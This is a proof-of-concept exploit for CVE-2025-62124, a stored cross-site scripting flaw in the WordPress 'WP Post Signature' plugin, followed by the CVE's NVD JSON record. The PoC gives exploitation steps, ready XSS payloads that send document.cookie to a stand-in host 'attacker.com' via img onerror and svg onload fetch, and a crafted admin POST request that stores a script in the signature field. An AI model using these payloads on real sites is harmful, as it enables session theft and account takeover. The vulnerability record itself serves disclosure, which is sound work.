CVE-2025-62124

<!-- CVE-2025-62124 PoC - Stored XSS in WP Post Signature Plugin --> <!-- Steps to exploit: --> <!-- 1. Login as admin/editor to WordPress --> <!-- 2. Navigate to Post Signature settings --> <!-- 3. Inject XSS payload in signature field --> <!-- XSS Payload Examples: --> <script>alert(document.cookie)</script> <img src=x onerror=this.src='https://attacker.com/steal?c='+document.cookie> <svg onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <!-- Example POST request to inject malicious signature: --> <!-- POST /wp-admin/admin.php?page=wp-post-signature-settings HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [admin-cookie] signature_text=<script>alert(document.domain)</script>&submit=Save -->

{"cve": {"id": "CVE-2025-62124", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:52.950", "lastModified": "2026-04-23T15:34:35.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Soli WP Post Signature wp-post-signature allows Stored XSS.This issue affects WP Post Signature: from n/a through <= 0.4.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Soli WP Post Signature permite XSS Almacenado. Este problema afecta a WP Post Signature: desde n/a hasta 0.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-post-signature/vulnerability/wordpress-wp-post-signature-plugin-0-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}